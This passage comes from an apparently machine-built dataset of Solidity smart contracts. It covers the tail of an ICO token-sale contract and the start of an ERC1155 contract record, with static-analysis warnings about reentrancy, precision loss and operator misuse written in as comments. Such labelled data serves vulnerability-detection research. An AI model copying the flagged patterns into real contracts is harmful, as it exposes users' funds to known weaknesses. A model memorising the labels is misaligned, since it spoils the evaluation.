result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 10 ** result < value\n );\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 isGt;\n\n unchecked {\n isGt = SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= isGt * 128;\n\n result += isGt * 16;\n\n isGt = SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= isGt * 64;\n\n result += isGt * 8;\n\n isGt = SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= isGt * 32;\n\n result += isGt * 4;\n\n isGt = SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= isGt * 16;\n\n result += isGt * 2;\n\n result += SafeCast.toUint(value > (1 << 8) - 1);\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\ncontract ECMPublicICO is ReentrancyGuard, Pausable, Ownable(msg.sender) {\n using SafeMath for uint256;\n\n IERC20 public immutable ecmToken;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 497aaef): ECMPublicICO.treasuryWallet should be immutable \n\t// Recommendation for 497aaef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public treasuryWallet;\n\n struct Stage {\n uint256 target;\n uint256 price;\n uint256 bonus;\n uint256 refBonus;\n uint256 tokensSold;\n uint256 bonusDistributed;\n bool isCompleted;\n }\n\n Stage[] public stages;\n\n uint256 public currentStage;\n\n uint256 public totalTokensSold;\n\n uint256 public totalBonusDistributed;\n\n uint256 public totalReferralRewards;\n\n event ECMPurchased(\n address indexed buyer,\n uint256 amount,\n uint256 bonusAmount,\n uint256 stage\n );\n\n event ReferralPaid(address indexed referrer, uint256 amount);\n\n event StageCompleted(uint256 stageIndex);\n\n event TokensWithdrawn(address indexed to, uint256 amount);\n\n event FundsWithdrawn(address indexed to, uint256 amount);\n\n event StageUpdated(uint256 stageIndex);\n\n event BonusUpdated(uint256 stageIndex, uint256 newBonus);\n\n event RefBonusUpdated(uint256 stageIndex, uint256 newRefBonus);\n\n event CurrentStageUpdated(uint256 newStage);\n\n constructor(address _ecmToken) {\n require(_ecmToken != address(0), \"Invalid token address\");\n\n ecmToken = IERC20(_ecmToken);\n\n treasuryWallet = payable(owner());\n\n stages.push(Stage(200000 * 1e18, 0.00040 ether, 20, 2, 0, 0, false));\n\n stages.push(Stage(200000 * 1e18, 0.00041 ether, 15, 2, 0, 0, false));\n\n stages.push(Stage(200000 * 1e18, 0.00042 ether, 10, 2, 0, 0, false));\n\n stages.push(Stage(100000 * 1e18, 0.00043 ether, 0, 2, 0, 0, false));\n\n stages.push(Stage(100000 * 1e18, 0.00044 ether, 0, 2, 0, 0, false));\n\n stages.push(Stage(50000 * 1e18, 0.00045 ether, 0, 2, 0, 0, false));\n\n stages.push(Stage(50000 * 1e18, 0.00046 ether, 0, 2, 0, 0, false));\n\n stages.push(Stage(50000 * 1e18, 0.00047 ether, 0, 2, 0, 0, false));\n\n stages.push(Stage(50000 * 1e18, 0.00048 ether, 0, 2, 0, 0, false));\n }\n\n receive() external payable whenNotPaused {\n require(currentStage < stages.length, \"ICO has ended\");\n\n _buyECM(msg.sender, address(0));\n }\n\n fallback() external payable whenNotPaused {\n require(msg.value > 0, \"Invalid amount\");\n\n require(currentStage < stages.length, \"ICO has ended\");\n\n _buyECM(msg.sender, address(0));\n }\n\n function buyECM(\n address referrer\n ) external payable whenNotPaused nonReentrant {\n require(currentStage < stages.length, \"ICO has ended\");\n\n _buyECM(msg.sender, referrer);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c854261): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c854261: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 11829bc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 11829bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8106a1e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8106a1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d266790): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d266790: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: f2d823b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for f2d823b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 526fa80): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 526fa80: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ed855b1): ECMPublicICO._buyECM(address,address) performs a multiplication on the result of a division tokensToBuy = msg.value.mul(1e18).div(stage.price) bonusTokens = tokensToBuy.mul(stage.bonus).div(100)\n\t// Recommendation for ed855b1: Consider ordering multiplication before division.\n function _buyECM(address buyer, address referrer) internal {\n require(msg.value > 0, \"Invalid amount\");\n\n Stage storage stage = stages[currentStage];\n\n require(stage.price > 0, \"Invalid stage price\");\n\n\t\t// divide-before-multiply | ID: 526fa80\n\t\t// divide-before-multiply | ID: ed855b1\n uint256 tokensToBuy = msg.value.mul(1e18).div(stage.price);\n\n\t\t// divide-before-multiply | ID: ed855b1\n uint256 bonusTokens = stage.bonus > 0\n ? tokensToBuy.mul(stage.bonus).div(100)\n : 0;\n\n uint256 totalTokens = tokensToBuy.add(bonusTokens);\n\n require(\n stage.tokensSold.add(tokensToBuy) <= stage.target,\n \"Exceeds stage target\"\n );\n\n uint256 referralReward = 0;\n\n if (referrer != address(0) && referrer != buyer && stage.refBonus > 0) {\n\t\t\t// divide-before-multiply | ID: 526fa80\n referralReward = tokensToBuy.mul(stage.refBonus).div(100);\n\n if (referralReward > 0) {\n\t\t\t\t// reentrancy-events | ID: c854261\n\t\t\t\t// reentrancy-events | ID: 11829bc\n\t\t\t\t// reentrancy-benign | ID: 8106a1e\n\t\t\t\t// reentrancy-benign | ID: d266790\n\t\t\t\t// reentrancy-no-eth | ID: f2d823b\n require(\n ecmToken.transfer(referrer, referralReward),\n \"Referral transfer failed\"\n );\n\n\t\t\t\t// reentrancy-events | ID: c854261\n emit ReferralPaid(referrer, referralReward);\n\n\t\t\t\t// reentrancy-benign | ID: 8106a1e\n totalReferralRewards = totalReferralRewards.add(referralReward);\n }\n }\n\n\t\t// reentrancy-events | ID: 11829bc\n\t\t// reentrancy-benign | ID: d266790\n\t\t// reentrancy-no-eth | ID: f2d823b\n require(ecmToken.transfer(buyer, totalTokens), \"Token transfer failed\");\n\n\t\t// reentrancy-no-eth | ID: f2d823b\n stage.tokensSold = stage.tokensSold.add(tokensToBuy);\n\n\t\t// reentrancy-no-eth | ID: f2d823b\n stage.bonusDistributed = stage.bonusDistributed.add(bonusTokens);\n\n\t\t// reentrancy-benign | ID: d266790\n totalTokensSold = totalTokensSold.add(tokensToBuy);\n\n\t\t// reentrancy-benign | ID: d266790\n totalBonusDistributed = totalBonusDistributed.add(bonusTokens);\n\n\t\t// reentrancy-events | ID: 11829bc\n emit ECMPurchased(buyer, tokensToBuy, bonusTokens, currentStage);\n\n if (stage.tokensSold >= stage.target) {\n\t\t\t// reentrancy-no-eth | ID: f2d823b\n stage.isCompleted = true;\n\n\t\t\t// reentrancy-events | ID: 11829bc\n emit StageCompleted(currentStage);\n\n\t\t\t// reentrancy-no-eth | ID: f2d823b\n progressToNextStage();\n }\n }\n\n function progressToNextStage() internal {\n do {\n\t\t\t// reentrancy-no-eth | ID: f2d823b\n currentStage++;\n } while (\n currentStage < stages.length && stages[currentStage].target == 0\n );\n }\n\n function withdrawFund(uint256 amount) external onlyOwner {\n require(\n amount > 0 && amount <= address(this).balance,\n \"Invalid amount\"\n );\n\n treasuryWallet.transfer(amount);\n\n emit FundsWithdrawn(treasuryWallet, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: db2afd8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for db2afd8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdrawECM(uint256 amount) external onlyOwner {\n require(\n amount > 0 && amount <= ecmToken.balanceOf(address(this)),\n \"Invalid amount\"\n );\n\n\t\t// reentrancy-events | ID: db2afd8\n require(ecmToken.transfer(owner(), amount), \"Token transfer failed\");\n\n\t\t// reentrancy-events | ID: db2afd8\n emit TokensWithdrawn(owner(), amount);\n }\n\n function updateStageTarget(\n uint256 stageIndex,\n uint256 target\n ) external onlyOwner {\n require(stageIndex < stages.length, \"Invalid stage index\");\n\n Stage storage stage = stages[stageIndex];\n\n require(target > stage.tokensSold, \"Invalid target amount\");\n\n stage.target = target;\n\n emit StageUpdated(stageIndex);\n }\n\n function updateStagePrice(\n uint256 stageIndex,\n uint256 price\n ) external onlyOwner {\n require(stageIndex < stages.length, \"Invalid stage index\");\n\n Stage storage stage = stages[stageIndex];\n\n require(price > 0, \"Invalid price\");\n\n stage.price = price;\n\n emit StageUpdated(stageIndex);\n }\n\n function toggleCompleteStage(uint256 stageIndex) external onlyOwner {\n require(stageIndex < stages.length, \"Invalid stage index\");\n\n Stage storage stage = stages[stageIndex];\n\n stage.isCompleted = !stage.isCompleted;\n\n emit StageCompleted(stageIndex);\n\n if (stage.isCompleted && stageIndex == currentStage) {\n progressToNextStage();\n }\n }\n\n function updateBonus(\n uint256 stageIndex,\n uint256 newBonus\n ) external onlyOwner {\n require(stageIndex < stages.length, \"Invalid stage index\");\n\n Stage storage stage = stages[stageIndex];\n\n stage.bonus = newBonus;\n\n emit BonusUpdated(stageIndex, newBonus);\n }\n\n function updateRefBonus(\n uint256 stageIndex,\n uint256 newRefBonus\n ) external onlyOwner {\n require(stageIndex < stages.length, \"Invalid stage index\");\n\n Stage storage stage = stages[stageIndex];\n\n stage.refBonus = newRefBonus;\n\n emit RefBonusUpdated(stageIndex, newRefBonus);\n }\n\n function setCurrentStage(uint256 newStage) external onlyOwner {\n require(newStage < stages.length, \"Invalid stage index\");\n\n currentStage = newStage;\n\n emit CurrentStageUpdated(newStage);\n }\n\n function getTotalTokensDistributed() public view returns (uint256) {\n return\n totalTokensSold.add(totalBonusDistributed).add(\n totalReferralRewards\n );\n }\n\n function pause() external onlyOwner {\n _pause();\n }\n\n function unpause() external onlyOwner {\n _unpause();\n }\n}\n",
"file_name": "solidity_code_10620.sol",
"size_bytes": 50728,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n\ninterface IERC1155 is IERC165 {\n event TransferSingle(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256 id,\n uint256 value\n );\n\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n event ApprovalForAll(\n address indexed account,\n address indexed operator,\n bool approved\n );\n\n event URI(string value, uint256 indexed id);\n\n function balanceOf(\n address account,\n uint256 id\n ) external view returns (uint256);\n\n function balanceOfBatch(\n address[] calldata accounts,\n uint256[] calldata ids\n ) external view returns (uint256[] memory);\n\n function setApprovalForAll(address operator, bool approved) external;\n\n function isApprovedForAll(\n address account,\n address operator\n ) external view returns (bool);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external;\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external;\n}\n\ninterface IERC1155MetadataURI is IERC1155 {\n function uri(uint256 id) external view returns (string memory);\n}\n\ninterface IERC1155Receiver is IERC165 {\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nlibrary ERC1155Utils {\n function checkOnERC1155Received(\n address operator,\n address from,\n address to,\n uint256 id,\n uint256 value,\n bytes memory data\n ) internal {\n if (to.code.length > 0) {\n\t\t\t// reentrancy-no-eth | ID: 3f00029\n\t\t\t// reentrancy-no-eth | ID: fcf31ef\n\t\t\t// reentrancy-no-eth | ID: 6bd1046\n\t\t\t// reentrancy-no-eth | ID: e16d927\n try\n IERC1155Receiver(to).onERC1155Received(\n operator,\n from,\n id,\n value,\n data\n )\n returns (bytes4 response) {\n if (response != IERC1155Receiver.onERC1155Received.selector) {\n revert IERC1155Errors.ERC1155InvalidReceiver(to);\n }\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert IERC1155Errors.ERC1155InvalidReceiver(to);\n } else {\n assembly (\"memory-safe\") {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n }\n\n function checkOnERC1155BatchReceived(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory values,\n bytes memory data\n ) internal {\n if (to.code.length > 0) {\n\t\t\t// reentrancy-no-eth | ID: 3f00029\n\t\t\t// reentrancy-no-eth | ID: fcf31ef\n\t\t\t// reentrancy-no-eth | ID: 6bd1046\n\t\t\t// reentrancy-no-eth | ID: e16d927\n try\n IERC1155Receiver(to).onERC1155BatchReceived(\n operator,\n from,\n ids,\n values,\n data\n )\n returns (bytes4 response) {\n if (\n response != IERC1155Receiver.onERC1155BatchReceived.selector\n ) {\n revert IERC1155Errors.ERC1155InvalidReceiver(to);\n }\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert IERC1155Errors.ERC1155InvalidReceiver(to);\n } else {\n assembly (\"memory-safe\") {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract ERC165 is IERC165 {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n\nlibrary Comparators {\n function lt(uint256 a, uint256 b) internal pure returns (bool) {\n return a < b;\n }\n\n function gt(uint256 a, uint256 b) internal pure returns (bool) {\n return a > b;\n }\n}\n\nlibrary SlotDerivation {\n function erc7201Slot(\n string memory namespace\n ) internal pure returns (bytes32 slot) {\n assembly (\"memory-safe\") {\n mstore(\n 0x00,\n sub(keccak256(add(namespace, 0x20), mload(namespace)), 1)\n )\n\n slot := and(keccak256(0x00, 0x20), not(0xff))\n }\n }\n\n function offset(\n bytes32 slot,\n uint256 pos\n ) internal pure returns (bytes32 result) {\n unchecked {\n return bytes32(uint256(slot) + pos);\n }\n }\n\n function deriveArray(bytes32 slot) internal pure returns (bytes32 result) {\n assembly (\"memory-safe\") {\n mstore(0x00, slot)\n\n result := keccak256(0x00, 0x20)\n }\n }\n\n function deriveMapping(\n bytes32 slot,\n address key\n ) internal pure returns (bytes32 result) {\n assembly (\"memory-safe\") {\n mstore(0x00, and(key, shr(96, not(0))))\n\n mstore(0x20, slot)\n\n result := keccak256(0x00, 0x40)\n }\n }\n\n function deriveMapping(\n bytes32 slot,\n bool key\n ) internal pure returns (bytes32 result) {\n assembly (\"memory-safe\") {\n mstore(0x00, iszero(iszero(key)))\n\n mstore(0x20, slot)\n\n result := keccak256(0x00, 0x40)\n }\n }\n\n function deriveMapping(\n bytes32 slot,\n bytes32 key\n ) internal pure returns (bytes32 result) {\n assembly (\"memory-safe\") {\n mstore(0x00, key)\n\n mstore(0x20, slot)\n\n result := keccak256(0x00, 0x40)\n }\n }\n\n function deriveMapping(\n bytes32 slot,\n uint256 key\n ) internal pure returns (bytes32 result) {\n assembly (\"memory-safe\") {\n mstore(0x00, key)\n\n mstore(0x20, slot)\n\n result := keccak256(0x00, 0x40)\n }\n }\n\n function deriveMapping(\n bytes32 slot,\n int256 key\n ) internal pure returns (bytes32 result) {\n assembly (\"memory-safe\") {\n mstore(0x00, key)\n\n mstore(0x20, slot)\n\n result := keccak256(0x00, 0x40)\n }\n }\n\n function deriveMapping(\n bytes32 slot,\n string memory key\n ) internal pure returns (bytes32 result) {\n assembly (\"memory-safe\") {\n let length := mload(key)\n\n let begin := add(key, 0x20)\n\n let end := add(begin, length)\n\n let cache := mload(end)\n\n mstore(end, slot)\n\n result := keccak256(begin, add(length, 0x20))\n\n mstore(end, cache)\n }\n }\n\n function deriveMapping(\n bytes32 slot,\n bytes memory key\n ) internal pure returns (bytes32 result) {\n assembly (\"memory-safe\") {\n let length := mload(key)\n\n let begin := add(key, 0x20)\n\n let end := add(begin, length)\n\n let cache := mload(end)\n\n mstore(end, slot)\n\n result := keccak256(begin, add(length, 0x20))\n\n mstore(end, cache)\n }\n }\n}\n\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n}\n\nlibrary Math {\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n return a / b;\n }\n\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4325a47): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 4325a47: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 220304a): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 220304a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8f6480d): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 8f6480d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c702672): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for c702672: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 14abcf1): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 14abcf1: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5c27797): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 5c27797: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 23a8040): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 23a8040: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5e46217): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 5e46217: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: a055a8f): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for a055a8f: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 4325a47\n\t\t\t\t// divide-before-multiply | ID: 220304a\n\t\t\t\t// divide-before-multiply | ID: c702672\n\t\t\t\t// divide-before-multiply | ID: 14abcf1\n\t\t\t\t// divide-before-multiply | ID: 5c27797\n\t\t\t\t// divide-before-multiply | ID: 23a8040\n\t\t\t\t// divide-before-multiply | ID: 5e46217\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 8f6480d\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: c702672\n\t\t\t// incorrect-exp | ID: a055a8f\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 5c27797\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 23a8040\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 14abcf1\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 5e46217\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 4325a47\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 220304a\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 8f6480d\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 